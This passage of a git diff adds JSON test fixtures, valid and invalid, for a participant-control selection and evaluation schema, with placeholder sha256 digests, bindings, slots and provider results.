"malformed", + "slot_id": "monitor" + } + ], + "request": { + "applicability": { + "applicable_slot_ids": [ + "fact", + "assessment", + "rule", + "monitor" + ], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "coverage": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-here", + "revision": "rev1" + } + ], + "obligation_id": "teaching-here", + "slot_ids": [ + "fact" + ], + "status": "applies" + }, + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-there", + "revision": "rev1" + } + ], + "obligation_id": "teaching-there", + "slot_ids": [ + "rule" + ], + "status": "applies" + } + ], + "derivation_evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "subset-derivation", + "revision": "rev1" + } + ], + "required_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "selection_digest": "sha256:ef4fe3704f1c847b39731eb423bc8fbdfb5b7c3ad447bf63b7ca70a635f06b34" + }, + "context": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "attempt": 1, + "audience_ref": "student-audience", + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "clock": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "clock", + "ref": "clock-1", + "revision": "rev1" + }, + "controller_ref": "teacher", + "crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "depth": 0, + "destination_ref": "student", + "direction": "ingress", + "effects_consumed": 0, + "episode_id": "episode-1", + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "inputs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "order": 1, + "participant_address": "participants.student", + "phase_ref": "practice", + "policy": { + "decision_cut_ref": "cut-1", + "effective_order": 1, + "policy_decision_ref": "crossing-decision-1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "valid_from_order": 0, + "valid_until_order": 20 + }, + "predecessors": [], + "prior_effect_claims": [], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + }, + { + "instance_id": "other", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + ], + "rule_firings": [], + "run": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "run", + "ref": "run-1", + "revision": "rev1" + }, + "sink_ref": "teaching-observation", + "state_cut": { + "anchor_event_ref": "event-1", + "anchor_order": 1, + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "history_prefix_length": 2, + "order_model": "behavior_history_order", + "predecessor_event_refs": [ + "event-0" + ] + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "event-1", + "revision": "rev1" + }, + "trigger_root": "root-1" + }, + "selection": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "decision", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "ifc-fact", + "slot_id": "fact" + } + ], + "instance_id": "other", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "assessment" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "advisory", + "slot_id": "assessment" + } + ], + "instance_id": "influence", + "kind": "decision", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "rule" + }, + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "monitor" + } + ] + } + }, + "results": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:6eedb8ca7540290c79c772ed7bd65961992721cfbd58ed0665ac7428ca6f7f7f", + "next_provider_state": null, + "payload": { + "domain": "teaching-influence-domain/rev1", + "kind": "ifc-fact", + "source_refs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "tokens": [ + "coached-hint" + ] + }, + "result_id": "result-fact", + "rule_outcome": null, + "slot_id": "fact", + "status": "resolved" + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "other", + "invocation_digest": "sha256:36aaff3fa0fbf53ddf2cbfcbff3a36160204a9bdc7cd49d587d8b35ed78c76b5", + "next_provider_state": null, + "payload": { + "assessment": "negative", + "kind": "advisory", + "sample": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "assessment-sample", + "revision": "rev1" + }, + "score": 0.2 + }, + "result_id": "result-assessment", + "rule_outcome": null, + "slot_id": "assessment", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:c55bec711126640624b0115ec1e5eb58b9cad00c317a5ebced1bfb206ed2a73c", + "next_provider_state": null, + "payload": { + "disposition": "permit", + "kind": "decision", + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + }, + "result_id": "result-rule", + "rule_outcome": null, + "slot_id": "rule", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "optional-loss", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:7e21170d12333cb842412dc2ec08382006b707f9b1195129eed84a647b1a100b", + "next_provider_state": null, + "payload": null, + "result_id": "result-monitor", + "rule_outcome": null, + "slot_id": "monitor", + "status": "failed" + } + ], + "schema_version": "participant-control-evaluation/v2", + "state_proposals": [], + "support": [ + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-here", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-there", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "other", + "obligation_id": "input:assessment", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-selection-v1/invalid/executable-selector.json b/contracts/fixtures/participant-runtime/participant-control-selection-v1/invalid/executable-selector.json new file mode 100644 index 000000000..8548e2b05 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-selection-v1/invalid/executable-selector.json @@ -0,0 +1,117 @@ +{ + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_module": "forbidden.executable" +} diff --git a/contracts/fixtures/participant-runtime/participant-control-selection-v1/valid/teaching-inject.json b/contracts/fixtures/participant-runtime/participant-control-selection-v1/valid/teaching-inject.json new file mode 100644 index 000000000..314092320 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-selection-v1/valid/teaching-inject.json @@ -0,0 +1,116 @@ +{ + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-selection-v2/valid/disjoint-sinks.json b/contracts/fixtures/participant-runtime/participant-control-selection-v2/valid/disjoint-sinks.json new file mode 100644 index 000000000..fd26ca9ae --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-selection-v2/valid/disjoint-sinks.json @@ -0,0 +1,227 @@ +{ + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": 